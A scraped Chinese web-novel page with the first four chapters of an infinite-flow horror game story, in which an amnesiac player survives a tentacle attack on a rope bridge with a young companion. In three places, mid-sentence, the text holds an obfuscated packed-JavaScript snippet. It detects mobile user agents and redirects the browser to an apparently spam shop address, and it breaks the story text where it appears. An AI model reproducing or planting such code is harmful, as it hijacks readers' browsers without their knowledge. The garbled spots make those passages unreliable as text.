《榜一玩家死遁失忆后在线开演》 1. 猪场在逃五花肉 阴暗破旧的走廊里,不断晃动的光影伴随着一阵凌乱的步伐声,由远至近。 此时,两道身影从黑暗中狂奔出来,然而就在转角时,跑在后方那人的双腿却突然失控一般僵在原地,上半身则因为惯性朝前扑倒,摔在地上发出一声闷吭。 跑在前面的人听到声音后立刻停下脚步,转身就去扶摔在地上的同伴。 就这么一会功夫,一直在追赶他们的黑色烟雾已近在眼前。 正在扶同伴的那人眼见无处可躲,心一狠,咬紧牙关,将自己的同伴紧紧护在身下… 一只通体漆黑的乌鸦扑棱着翅膀,停靠在窗边,发出粗劣嘶哑地丧叫声,以黑夜为背景,融成一幕阴森诡异的恐怖场景…… “嗬!” 喻诗瑭猛地睁开眼,胸口正随着剧烈的呼吸不断起伏,脑内仿佛被重物敲打过的余痛让她的表情看上去有些茫然。 “喂?你没事吧?” 身侧突然响起的少年音让喻诗瑭混沌的脑子清明不少,她缓了口气,扭头就对上一双猫一样的大眼,里面的好奇跟担忧参半。 “我刚才看你一直在抽搐,你是不是有什么病啊?” 对方话说的像骂人,但说完又不忘提醒一句:“我记得商场日常板块里有卖药的,回头你要不要去看看有什么合适的?” 可惜这提醒对现在的喻诗瑭来说,等同于对牛弹琴。 什么商城?什么日常板块? 她有些恍惚地转头看了圈四周,这才发现到自己竟然正坐在一辆破旧大巴的最后排,刚才一直听到的嗡鸣声不是自己因为头疼产生的耳鸣,而是大巴车行驶所发出的噪音。 车里零零散散的还坐了不少人,有男有女,但互相之间没有任何交流,不是默不作声地低着头,就是盯着车窗外发呆,哪怕窗外因为厚重的雾气,只能勉强看到一条蜿蜒崎岖的小路。 喻诗瑭本来就有些昏沉的意识,更懵了。 怎么回事?为什么自己会莫名其妙的出现在一辆大巴里,这大巴又是开往哪里? 以及最重要的是,自己是谁? 失忆的茫然感让她本能得警惕起来,她攥紧手掌扣在身侧,不动声色地在心里安抚自己。 比起知道自己是谁,现在最重要的是要搞清楚目前的情况对自己是利是害。 喻诗瑭轻吸了口气,放缓呼吸,跟着将视线重新落回到那个少年身上。 对方看着不过二十出头,精致立体的五官乍看之下有种难以接近的高贵感,但那双眼睛里掩饰不住的干净稚气,替他冲淡了不少那张浓颜给人带来的冲击力。 说句不太礼貌的,喻诗瑭觉得这孩子光看外表,十足十一个无害的漂亮花瓶。 “怎么了?”少年抬手摸了摸脸,满脸不解,“我脸上有什么东西吗?” “没有,我就是做了个噩梦。”喻诗瑭瞥到少年左手食指上戴着的戒指,装模作样地揉了揉太阳穴,“有点睡懵了,所以反应有些迟钝。” 那东西说是戒指感觉也不太对,因为它就是个宽不过一厘米的半透明蓝色光圈,喻诗瑭看它,纯粹是觉得眼熟。 “虽说按这游戏的现状来看,做噩梦也不稀奇,但这会都快进副本了你还能睡这么香。”少年表情真诚的让人分不清他是在阴阳怪气,还是单纯的佩服,“你可真行。” 游戏?副本?什么玩意? 喻诗瑭一头雾水,但表情淡定,回答更是张口就来:“还行吧,主要是我这人缺点不多,优点不少,睡眠质量好就是其中一个。” 少年乐了,冲她比了个大拇指。 喻诗瑭扯了下嘴角权当回复,满脑子都是对方食指上的戒指,越想越眼熟。 她下意识垂眼看向自己搭在腿上的左手,表情差点失控,因为在她左手食指上,竟然也有个同样的蓝色光圈。 自己之所以一直没发现,是因为这光圈虽然紧贴在食指指根上,却没有任何实质的触感。 ?我靠?对戒?这漂亮花瓶难道是我对象? 喻诗瑭瞳孔地震不到一秒又直觉哪里不对,她抬眼往自己的右前方看去,车子另一侧走道位有名乘客的手正搭在扶手外面,而他的食指上也有个同样的蓝色光圈。 这么明目张胆应该不是三角恋。 喻诗瑭松了口气,下一秒又疑惑起来,那这是啥玩意?她试探性地用大拇指碰了碰那玩意。 与毫无感觉的食指不同,喻诗瑭的拇指指腹刚碰到那个蓝色光圈,带点冰凉的触感便迅速从指腹传来。 同一时间,淡蓝色的光圈也开始闪烁起来,但在她拇指离开后,那光圈又立刻恢复原状。 喻诗瑭愣了下,跟着又将拇指贴到那光圈上不动,目不转睛地看着光圈在那闪烁,像是在识别触碰它的是谁。 不过几秒,闪烁的光圈重回稳定,紧跟着一块半透明的蓝色面板在她面前展开,喻诗瑭下意识扭头看向身边的少年。 “?” 当少年目不斜视地回以不明所以的目光时,她就意识到自己打开的面板只有本人才能看到。 “动动脖子,睡僵了。”喻诗瑭顺势转了转脖子解释,少年“哦”了一声,转头继续盯着车头发呆。 见少年再次移开注意,喻诗瑭这才重新观察起这块弹出来的面板。 整个面板的界面十分简单,除了上下两排角落有些不同样式的图标外,中间一片空白。 她无意识地滑动紧贴在操作环上的拇指,与此同时,一个淡白色的小光圈出现在半透的界面上,随着她拇指滑动的方向,上下左右地轻移。 这光圈是代替手指的位置? 喻诗瑭不确定,但还是操作着误打误撞试出来光标,将它移动到界面右下角——一个包裹样式的图标处。 按在指环上的大拇指停在那后,条件反射一般原地轻点了下指环,一个满是小格的弹框就这么从包裹图标里弹出,瞬间将空白的界面中心占满。 可惜这包裹栏的小格多是多,却空的可怜,连个说明书都没有。 包裹里应该是这么空的吗?喻诗瑭觉得这包裹空的不顺眼,但受限于记忆缺失,她又说不出哪不顺眼。 算了。 喻诗瑭眉头皱了又舒,不打算在空白的记忆里浪费时间为难自己,她直接关闭了空荡荡的包裹,转而看向包裹旁边两个不明作用的小图标。 一个是卷轴样式,一个是扎了两个发髻的3D小人。 她先点开离包裹最近的卷轴,同样的弹框再次跳出。 副本名称:三更鼓 副本状态:未开启 副本时限:180小时 副本难度:C级 这次的弹框没了分割均匀的小格子,除了中间这四行正楷黑体字外,就只剩最上方那个标着0%的纯白进度条了。 副本?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662531|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>刚才那个少年确实提到过他们已经在副本里了,所以这个副本的名字叫三更鼓?但未开启什么意思?不是已经在副本里了吗?为啥状态是没开启?这个C级又是个什么难度级别? 喻诗瑭尝试点击“三更鼓”三个字,没有任何反应,又去点了下“未开启”,依旧没有任何反应。 她不信邪地在所有能看得见的文字上都点了一遍,界面依旧一动不动。 不会吧?连个内容介绍都没有?这游戏没被人投诉过? 喻诗瑭在心里吐槽了一句,嫌弃地关掉毫无线索的任务弹框,转而点开卷轴旁边的3D小人。 估计又是空…嗯? 喻诗瑭盯着好友列表里唯一一个灰色Q版锦鲤头像愣住。 她一个背包比脸都干净的新人玩家,好友栏里怎么会有一个好友?还是个显示离线的好友? 越滚越多的疑惑反而让她生出一种债多不愁的心理,她重新操作光圈移到对方的头像上轻轻一点,一个带有对方昵称的对话框随即弹出。 鱼塘在逃锦鲤? 喻诗瑭看着对话框上方的昵称,有股熟悉又莫名的违和感。 可不等她细究,对话框就像刚连上信号一样,一条条留言开始疯弹,同时耳边还不断响起叮叮当当的信息提示音,震得她耳根一麻。 喻诗瑭心惊地瞟了眼还在发呆的少年,随即松了口气,看来这提示音跟界面一样,也只有自己能听见。 不过留言弹出来的阵仗虽然惊人,但也就开始的那一下,喻诗瑭才收回眼神,耳边就已经安静下来了。 她往上翻到头,没有问好,没有介绍,第一句就是没头没尾的:“它失控了,你要帮它。” 什么玩意失控了?她要帮啥?“它”?为什么是“它”?“它”又是什么? 喻诗瑭视线下滑。 每句留言都不长,全是提醒,没有答案。 “游戏中被淘汰等同于现实死亡,千万小心。” “害人之心可以有,但不能让第三人知道,尤其是系统。” “防人之心不可无,不要相信任何人,包括NPC。” “多攒积分,小心榜单,灵活遵守每条规则。” “相信自己,相信我。” 来回将这几句留言看了几遍,喻诗瑭的视线最终定在了最后一句留言上。 “相信自己,相信我。” “你是谁?” 她将光标移到对话框上,用弹出来的半透明小键盘发了这三个字过去。 左右也不是立刻就会上线的人,喻诗瑭关掉好友栏,开始在主界面其他地方摸索起来。 既然对方有昵称,那自己肯定也有,运气好点说不定还能找到些有助于恢复记忆的个人信息,因为她发现自己失去的只是跟自己本身,以及与这个游戏有关的记忆。 虽然不知道为什么自己会单单忘记这两样,但抱着人在谷底,抬头都是向上的乐观心态,喻诗瑭在主界面一顿乱按之后,还真让她在左上角的一个小三角里找到了个人信息弹框。 ID编号:00004 意识数值:93 昵称:猪场在逃五花肉 称号:无 成就:无 积分:0 积分榜排名:未开启 …… “……?” 不是,这昵称特么系统随机的吧?! 2. 三更鼓 车子还在前行,喻诗瑭关掉主界面,跟身边的少年表情一致地盯着车头,同时不断尝试从各个角度来猜测这个抽象昵称的背后深意。 直到车子发出一声刺耳地刹车声,喻诗瑭也没能推测出个一二三四。 而车身在猛地颠簸一下后刚停稳,带着“滋滋啦啦”电流声的广播便在大巴里响起,没有感情的机械女声以全方位立体环绕式,从四面八方钻入所有人的耳中,让人无法辨别出声音的具体来源。 “欢迎各位玩家进入《无限规则》C级副本‘三更鼓’,此次副本时限为180个小时,请所有玩家在规定时间内完成世界公共任务。” “若有玩家提前完成公共任务,副本将立即进入倒计时,若时限内无人完成公共任务,副本将开启无时限随机模式。” “此外,本次副本为个人积分制,副本结束时,本轮积分低于30分的玩家将被淘汰。” “最后,《无限规则》坚持绝对公平原则,请各位玩家自觉遵守游戏守则,严禁通过任何违规手段抢夺积分与作弊,违规者将受到相应惩罚。” “那么游戏开始,祝各位游戏愉快。” “叮~” 最后一声广播关闭的提示音,像误入油锅里的一滴清水,将凝滞不动的气氛瞬间瓦解,大部分玩家都选择站起来先活动活动久坐的筋骨,也有部分玩家头也不抬地直接走下大巴。 而喻诗瑭几乎是掐着点,在广播关闭的第一时间重新打开了任务弹框。 果不其然,此时副本状态已经从未开启改为了开启,副本时限也开始了倒计时,不仅如此,原本单页的任务弹框也变成了两页,倒是最上方标着0%的进度条并没有任何变化。 她将光圈移到任务框右下角的页数2上,按下。 最先刷出来的是一张3寸彩色证件照——好一张嚣张的厌世御姐脸。 这是喻诗瑭看到照片的第一反应,她本来觉得刚才那少年的五官已经够张扬了,但这会跟照片里的这张脸一比,少年的长相都能配得上低调两字了。 这长相,有点麻烦啊。 喻诗瑭心里边嘀咕,边往下看。 角色类型:玩家 公共任务:未完成前置 个人任务:未领取 任务时限:- 个人积分:0 禁忌规则:0 简简单单的六行字,别说解释,连点提示都没有。 角色类型是玩家?难道还能不是玩家吗?不是玩家还能是什么? 还有前置在哪做,任务在哪领就先不说了,那个禁忌规则又是个什么东西? 喻诗瑭面无表情地关掉界面,在心里放狠话,等她出去一定要写万字投诉,外加万字差评这个游戏! “你不下车吗?”身边已经站起来的少年伸手在喻诗瑭发直的视线前晃了晃,“还没醒?” “还有点晕乎。”喻诗瑭边说边站起来,看着陆续下车的人,突然扭头问少年,“对了,商场日常板块里有卖提神的药吗?” 少年愣了愣,跟着皱着眉回想了下给出答案:“不太记得了,等回待机页面后,你可以自己去商场里看看,我觉得应该是有的,他们不是说商城里什么都能买到吗?” 得到想要的答案,喻诗瑭冲他一笑:“谢谢。” · 大巴在最后一个人下车后,连车门都来不及关严就迫不及待地开走了,只留一群人在汽车尾气中面面相觑。 四周不知道是为了烘托气氛,还是另有它用的雾气比在车上看到时还重,两米开外雾里看花,五米开外人畜不分,更别说远处那些不知道是树,是房,还是山的景了,直接糊成一片,连个轮廓都看不清。 而且不知道是不是这浓重的雾气给人的错觉,喻诗瑭总觉得车下的气温比车上冷了不只一个度。 好在他们刚站稳没多久,一声清脆的铃声便伴着微弱的烛光,从浓雾中逐渐朝他们靠近。 喻诗瑭抬眼一看,发现来的是一个可以用花里胡哨来形容的青年。 烫成大波浪的及肩半长发,浮夸的黑呢料宽檐帽,上身是件像刚砸了家颜料店的丝质衬衫,下身是条深蓝紧身牛仔裤,上面挂着的链子,铆钉,小碎钻是一样不落,乍看之下堪比流动饰品摊。 脚上棕色短靴上的黑色流苏,更是走一步晃三下,整个人潮得喻诗瑭眼都不敢眨一下,赶紧转移目光落到对方右手提着的黑色煤油灯上。 跟普通的煤油灯不同,这盏除了新的像刚从礼品盒里拆出来的一样外,底部还悬挂了一个边缘是波浪形的铜铃,铜铃中间吊着一块薄薄的贴片,上面隐约刻了一些东西,可因为距离关系看的并不是很真切。 唯一有用的发现,就是这四周的雾气因为这人的到来淡了不少,虽然远处还是糊的爹妈不认,但起码能看清周围这批人的脸了。 喻诗瑭看了一圈,现场除了那个提着煤油灯的潮男,加上她一共20人,年纪最大的是个神情冷静的中年妇女,年纪最小的是紧贴在她身边,穿着校服,表情惶恐的初中生。 余下每个人的表情都不尽相同,胆怯,警惕,好奇,甚至还有兴奋,唯独没有茫然。 很好,看来只有她是云里雾里。 “各位晚上好,我是来接各位入村的临时村长。” 潮人村长略显做作地冲在场的人微微点了下头,继续说:“首先,感谢各位百忙之中还抽空回来参加老村长的葬礼,老村长正式地入葬仪式会在七天后举行,在此期间,为了感谢老村长为村子做过的贡献,每晚都会有村民轮流为老村长守灵。” “当然,守灵这一项不是强制的,各位自行选择参加与否。” “另外,知道各位已经很久没回村,可能不太知道村里新添的一些规矩,所以在进村前,有几件小事需要提醒一下各位。” 喻诗瑭注意到对方“提醒”两字一出来,所有人表情都变得格外认真起来。 “第一,村里没路灯,所以太阳落山后请各位不要随意出门。” “第二,村里近几年壮年减少,所以粮食得来不易,请不要浪费。” “第三,最近会有很多外村人来悼念老村长,各位如果需要帮忙,请勿把外村人认成本村人。” “第四…”潮人村长拖着尾音,笑眯眯地环视了一圈来了个大喘气,“哎呦,第四我有点想不起来了,只能靠各位自己去摸索了。” 在场其他人的脸色都因为村长最后一句话变得有些古怪,喻诗瑭不明所以,但不妨碍她跟着摆出难言的表情。 “好了,现在天色已晚,我先带各位进村,有什么事我们明早再说。” 潮人村长说完,转身就往自己来的方向走去,喻诗瑭刚准备跟上,就见已经往前走了几步的村长突然停下,扭头冲身后的人群笑了笑说:“差点忘了提醒各位,在进入村子前,请务必跟紧我,如果掉队后发生什么,可别怪我事前没提醒哦。” 原本还站在比较后面的部分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662532|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩家一听,赶紧往前窜了几步,看上去像是恨不能紧贴到这位村长身后,但又有些畏惧的不敢贴太近。 潮人村长满意地看了那些人一眼,这才慢悠悠地又扭回头,继续往前走。 喻诗瑭没有那么积极地冲到前面,但也不至于真离太远,跟村长的距离属于既能蹭到煤油灯的光亮,又不至于跟前面的人挤成一团。 同样没有凑到最前面的还有几人,其中一个就是刚才坐在她身边的少年。 “你不往前走走吗?”喻诗瑭开始没话搭话。 “你不也没往前走吗?”少年不答反问。 “我这不是没挤进去吗。”喻诗瑭抱着双臂搓了搓,“而且你不觉得四周的雾气有点怪怪的吗?” “你不觉得那个村长更怪怪的吗?” 两个来回,全是问题没有回答。 喻诗瑭在心里给这少年盖了个花瓶里面装莲蓬的戳,然后学着少年不答反问:“这里还有什么是不怪的呢?” “我啊。”少年大拇指自信一指,一脸骄傲,“阳光善良的五好青年。” “……” 居然还是颗不要脸的莲蓬? 喻诗瑭牙一痒,正想开口,却被前面突然急停的队伍给打断了。 她歪了歪身子朝前看去,只见不远处有条不算宽的小河将一座小村落与他们隔开,放眼望去,唯一能到达对面的,只有正前方那条不过五人宽的木质吊桥。 “各位。”走在最前面的村长面向所有人摊开了手,“过了桥就算入村了,我现在带大家过桥,还是那句话,请大家务必跟紧我,另外……” 村长顿了顿,原本就微微上扬的嘴角,这会更是勾起了一个不怀好意的弧度:“还有件事要提醒一下各位,过桥的时候千万别往下看哦,这夜黑风高的,谁知道会跟水里的什么对上眼。” 水里会有什么?能有什么? 喻诗瑭好奇,但惜命,于是扭头问身边的少年:“你知道水里有什么吗?” “不知道。”少年摇头。 下一秒喻诗瑭给了个建议:“要不一会你探头看一眼?” 少年满脸震惊:“你怎么不看呢?” 喻诗瑭一脸老实:“我比较怕死。” “好巧,我也是。” “哦。” 跟少年互换了一个标准假笑,下一秒两人同时扭头,快步跟上已经上桥的人群。 不知道是因为他们人多,还是这吊桥原本就年老失修,喻诗瑭踏上吊桥的瞬间能明显感受到吊桥颤颤巍巍地晃动感,以及老旧木板不堪重负发出地抗议声。 喻诗瑭提着口气,尽量轻手轻脚,目不斜视地往前走。 可这吊桥比她以为的还破,脚下木板与木板之间已经不能用缝隙来表述,而是得用上间距了,有些位置甚至出现了巴掌大的缺口,一个没留神,视线就透过破旧的木板,看到了桥底泛着微微波光河面。 不好。 喻诗瑭胸口一紧,不祥的预感跟一道清脆的提示音几乎同时到来。 “叮,个人任务已领取,请玩家务必在时限内完成,若任务失败,玩家将被扣除相应积分。” 我靠? 瞬间反应过来的喻诗瑭火速打开任务界面。 果不其然,个人任务与任务时限那两栏已经发生了变化。 个人任务:活着 任务时限:00:00:59 ? 这是什么西皮任务? 3. 三更鼓 不给喻诗瑭任何吐槽的机会,随着任务倒计时的跳动,本来就晃悠不稳的吊桥更加剧烈地晃动起来。 与此同时,刚刚还四平八稳的水面像是被惊醒一般,开始翻涌起来。 喻诗瑭在晃动的吊桥上努力稳住重心,抬头看了眼桥对岸,发现只有那个村长不知何时上了岸,这会正抱着双臂,兴致勃勃看着在吊桥上七倒八歪的众人。 不带丝毫犹豫,喻诗瑭拽了一把正晃得发懵的少年,丢下一句“快跑”就头也不回地往对岸冲去。 也不知道是被喻诗瑭一把拽醒了,还是压根就没反应过来,只是下意识地听话照做,少年颠颠撞撞地跟在她身后拼命往对岸跑。 脚下的木板不断传来噼里啪啦地断裂声,带着浓重腥味的河水被不知名的东西掀起,冲着吊桥两面夹击,吊桥上的人无一幸免,全被河水浇了透心凉,吊桥也因为被溅上了河水变的湿滑更加难以行走。 四周地尖叫跟呼喊声在黑夜中已经盖过了翻涌的河水,许多站立不稳的人只能手脚并用的趴在桥面上,防止自己被晃动的吊桥甩进河里。 喻诗瑭抱紧吊桥链子乘机喘了口气,右手一抬,用湿润的手背抹开脸上的水珠,感觉自己的嗅觉已经快被腥臭的河水熏失灵了。 可不等她这口气喘匀,一根根直径将近一米粗的触角像破土而出的树干一样从河底窜出,不停地在半空中挥舞扭动着,整个画面诡异的像在看一部猎奇片。 “这都什么鬼东西!?!”少年学着喻诗瑭抱紧吊桥链子,声音都被眼前的景象惊得有些走调。 “不知道,跑你的。”喻诗瑭没空细看,拽着吊桥链子的一侧,往近在咫尺的岸边移动。 少年有样学样,只是才迈出没两步,那不知道是什么的触角就开始发疯似得攻击起吊桥上的人。 “啊!!!” 一道凄厉地惨叫声伴随着物体被拖拽的声音,在一片混乱的尖叫声中尤为清晰,随之而来的还有木板齐齐断裂的脆响。 不好。 喻诗瑭感受到脚下一轻,第一反应就是松开吊桥链子,借着吊桥的最后一点力向前扑去,在膝盖着地的瞬间,躬身就地滚了一圈来缓解冲力。 地面是那种软泥土,摔上去并不疼,但浑身湿透地趴在泥土地上,显然不是什么令人愉快的感受。只不过喻诗瑭现在完全顾不上这个,甚至于那些刺耳地惨声都变得模糊,只剩自己粗重地喘息跟砰砰直响的心跳声。 “喂!我靠!松松松松松!” 已经熟悉的声音带着慌乱挤进喻诗瑭的耳中,她用力闭了下眼,不到一秒,还是放弃一般爬起来,朝着正狼狈抱着桥墩,下半身悬挂在外面的少年跑去。 少年身后的吊桥完全可以用四分五裂来形容,只剩部分还挂在吊绳上孤单晃动,重物掉落河中的噗通声与求救声不绝于耳,他都不敢去猜掉下去的是吊桥的残片,还是人。 “你能不能使点劲!”喻诗瑭坐在地上,双手抓住少年的手臂,一脚踩在桥墩上借力,努力在把人往岸上拽。 大概是没想到喻诗瑭还会返回来帮他,少年愣了半秒,才在对方的吼声中双腿使劲地往上蹬:“在使劲了在使劲了,这土太松了,踩不住!” 少年嗷得凶,求生欲也是真的强,靠着喻诗瑭,手脚并用地挣扎上了岸,还被喻诗瑭连拖带拽得在地上滚了好几圈,远离河面。 “不行了不行了,晕了晕了。”少年跟只脱力的巨型犬一样趴在地上,满眼都是跳动的星斑。 顾不上一脸想吐的少年,喻诗瑭赶紧调出任务面板。 个人任务:活着 任务时限:00:00:19 糟! 喻诗瑭盯着前方瞳孔颤动,不带迟疑地一脚把还在晕乎的少年给踹得又往一旁翻了个面,自己则反身往后跑。 那诡异的触角已经从河里追了出来,错过翻身的少年,直奔喻诗瑭而来,浓重的腥味夹杂着腐烂的臭气,有种以毒攻毒的架势,把她以为失灵的鼻子都给疏通了。 就在触手几乎要贴上她背脊的瞬间,喻诗瑭猛地弯下腰往前跪倒,堪堪躲过触角的攻击,眼前是来不及关掉的半透明任务面板,任务时限上的倒计时还在不紧不慢地跳动。 像是也感受到了时间的紧迫,那触手连换气的时间都没给她留,扑空后一个后缩缠上了喻诗瑭的腰,不断缩紧,胸腔都被触手包裹在内,不断被挤压,窒息感立刻跟上。 喻诗瑭几乎要看不清眼前的场景,她一手撑在缠绕着自己的触角上,一手往前一抓,精准地抓在了正捂着鼻子看戏的村长腿上。 估计是没想到看戏还能被波及,潮人村长脸色一变,嫌弃地就要往后退,短靴上的流苏却又被喻诗瑭给死死拽住。 更糟的是原本只是缠着喻诗瑭的触角开始动了,缠着她就要拖回河里,连带村长也被拽得一个踉跄,半跪在地上。 从开始就游刃有余的村长难得崩了表情,洁癖极重的他气得脸都绿了,却也只能气急败坏地冲喻诗瑭喊了一句:“松手!” 傻X才松手! 喻诗瑭被扼制得说不出话,但不妨碍她用行动做出回应——拽得更紧了。 “啪!啪!” 物体砸在软体物上的啪叽声从后面传来,喻诗瑭费劲侧了个头,看到刚刚还跟死狗一样瘫在地上的少年,不知道从哪抱来了一块尖锐的石块,正一下一下狠狠地砸着缠着她的触手。 人没白救,但没屁用。 宽慰不到半秒,喻诗瑭就发现这触手根本不怕砸,少年砸得气都喘不匀了,触手的皮都没擦破半点。 “松!手!” 村长咬牙切齿地声音一字一字从头顶传来,喻诗瑭一抬头,先对上的是对方手上提着的煤油灯,她表情一变,迅速用另一只手抓了把土丢到少年身上,在他看过来的同时,用力地指了指村长手中的煤油灯。 少年福至心灵般跟喻诗瑭通上了脑回路,随即把石头一丢,朝着村长就扑了过去,在对方一连串地怒骂声中抢过了煤油灯,顾不上玻璃罩烫手的温度,扭开罩子把火苗对准触角就烧了过去。 被石头砸半天都没搭理的触角立刻起了反应,发疯似得在地面翻滚起来。喻诗瑭见状立即双手并用地抱紧村长的腿,拖着对方跟自己一起滚成一团。 少年更是没敢松手,他一手抱着触角,一手死死地把火苗按在上面。 “滋滋啦啦”地火烧声中传来了一股被烤熟的肉香,给这混乱的场景增添了不少荒唐的味道。 喻诗瑭因为缺氧,脸色已经开始发青,抱着村长的双手都开始发僵,她死死地盯着已经进入个位倒数的任务时限,在心里默念。 5…4…3…2…1! “叮!恭喜玩家完成个人任务‘活着’,个人积分+5,请再接再厉~” 紧缠着喻诗瑭的触角在系统欢快的提 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16662533|188515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 示音中像是被按下暂停键,轰然倒地,被挤压的胸口因为触手脱落,猛地灌入大股新鲜空气,呛得她差点又背过气。 “喂喂,你没事吧?”少年踹开黏糊的触角,连滚带爬地过来给喻诗瑭顺气,紧绷的肌肉这会还没缓过劲,拍在她背上的手颤得跟通了电似得,颤个不停。 半天才缓过劲的喻诗瑭摇了摇头,她第一次觉得一分钟能这么长。 “呼,一分钟怎么能过得比一个世纪还长,这什么破游戏啊!”松了口气的少年坐在地上,嘟囔的话被喻诗瑭听了进去。 她撇了眼少年,没有吭声,撑着地面缓慢地坐直身体,结果抬头就对上了一双愤恨到爆血丝的凤眼。 啊哦,差点忘记还得罪个人。 眼前的潮人村长跟着喻诗瑭在地上来回滚了几圈后,明显离潮人两字更近了——浑身都是湿漉漉的泥土砂石。 浮夸的宽檐帽早就不知道被甩到哪里去了,及肩的大波浪东一缕,西一绺,有些还在滴水,裤子上的流动饰品摊位倒是保存完好,就是短靴上的黑色流苏被喻诗瑭拽得长一截,短一块的,整体造型不比流浪汉好到哪去。 将对方来回扫视了几眼,喻诗瑭干咳一声,用嘶哑的声音评价了一句:“流苏质量不错。” “哼!!!” 一声掷地有声地“哼”宣告了两人之间不可磨灭的过节,潮人村长脸色铁青地从地上爬起来,走到少年身边一把抢回还在坚强燃烧的煤油灯,也冲着他恶狠狠地“哼”了一声,跟着头也不回地进村了。 “他好没礼貌哦。”少年还有空坐那点评人。 其他劫后余生的玩家没人多话,都急急忙忙地跟上村长。 鉴于是自己先动手,喻诗瑭没好意思数落对方没礼貌,她吭哧吭哧地站起来,对着还坐在地上的少年问:“还能起得来吗?” “当然能!”少年说完弓着腰,两腿一撑就原地起来了,连手都没用上,只是表情略微有些扭曲。 “先跟上。”喻诗瑭捂着肚子叮嘱了一句,自己也一瘸一拐地跟着往村里走去。 “来了!” 少年两步窜到喻诗瑭身侧,看了眼前面与他们有些距离玩家,压着声音对喻诗瑭说:“刚才谢谢你了。” 喻诗瑭小口吸着气,边缓边回答:“不用,你也救了我。” “那是两码事,如果不是你先救了我,我也没救你的机会,总的来说还是你救了你自己。” 喻诗瑭没对少年的逻辑发表什么看法,反而认同地一点头:“好的,那我也谢谢我自己。” “你可真有意思。”少年这把是真乐了,语气都上扬了不少,“我叫希泽,你叫什么啊?” 想到自己那个猎奇的ID名,喻诗瑭梗了一下,感觉无论用哪个字都不太能当个名字,于是不好意地借用了一下好友栏里唯一的玩家名。 “鱼……塘锦。” 希泽有点惊讶地问:“喻?口俞的那个喻吗?” “嗯。”喻诗瑭含糊地应了一声。 “好巧啊,看着我长大的邻居爷爷也姓喻。”希泽惊喜完突然又接了一句,“所以你也是新人玩家吧?” 喻诗瑭停下脚步,看着希泽沉默片刻,重复了个关键字:“也?” “……嘿嘿。”希泽嘿笑一声,表情开朗:“被你抓住重点了。” 喻诗瑭:“……” 感情你小子还是个演技派啊。 4. 三更鼓 在踏入村子的瞬间,喻诗瑭有种终于戴上合适度数眼睛的感觉——瞬间清晰。 她回过头,村子入口并没有门,只有两根三米多高的石柱立在桥的这一边,像是在界定着村子与外面的边界。 而这两根相隔不到六米的石柱之间,仿佛存在着一道无形的屏障,将原本环绕在他们四周的浓雾阻隔在外。 喻诗瑭眯着眼往石柱顶端看去,发现石柱顶端上各挂了一盏跟村长手中一样的煤油灯,煤油灯底部的铃铛正随着微风轻轻晃动,只是跟村长一步一晃特别清晰的响声不同,石柱上的铃声很轻,如果不仔细去听,很容易就被忽略掉了。 除此之外,似乎又没什么特别的了。 “小喻姐你看什么呢?”希泽凑过来,顺着喻诗瑭的视线抬头,感觉自己半天也没看到啥有用的东西。 “没看什么。”喻诗瑭说完又反应过来,似笑非笑地看着希泽,“这会就叫上姐了?” “开玩笑,你可是救了我的命,说句再生父母也不为过,如果不是叫妈不合适,我这会开口就是小喻干妈了。”希泽说完表情挣扎地思考了两秒,最后一脸认真地说:“如果你想的话,也不是不可……” “可以,小喻姐可以。”喻诗瑭一个紧急制动,强行打断,“不用加其他奇怪的称呼了。” “好吧…”希泽扁扁嘴,看上去还有点莫名其妙的小失望。 嘶—— 喻诗瑭摇了下头,赶紧把这带鸡皮疙瘩的错觉给甩出大脑,火速找了个话题带走注意力:“话说,你是怎么进入这游戏的?” “不知道啊。”希泽看起来是真的很无奈,“我就正常到点睡觉,睡着睡着再睁眼人就在待机界面了,一开始我还挺兴奋呢。” “兴奋?” “当然兴奋啊,这可是《无限规则》诶!”希泽说到这差点没控制住音量,被喻诗瑭看了一眼才又赶紧压低声音,“我滴个亲娘诶,你知道这游戏当时光发布个预告片就差点没把官网给干废,整个星系所有游戏论坛都在短短五分钟内被屠榜,因为它除了元素多变,真实又精细的各类游戏副本外,最重要的是!它可是全星系首款‘意识剥离体验’游戏!” 意识剥离体验?怎么这么熟悉? 喻诗瑭来不及抓住大脑里一闪而过的信息,就听到希泽继续在那跟背广告词一样的介绍。 “开玩笑,意识剥离诶,这可是直接借由‘意识’来模拟出最接近现实的五感体验,这玩意可比全息的体验感不知道强上几个维度,要知道从‘意识剥离’被研发出来到现在,一直都只被用于治疗跟军队训练,非官方使用这可是破天荒头一次,这玩意绝对能让玩家百分百真实地沉浸在游戏中,享受最极致的游戏体验!不过也挺奇怪的。” 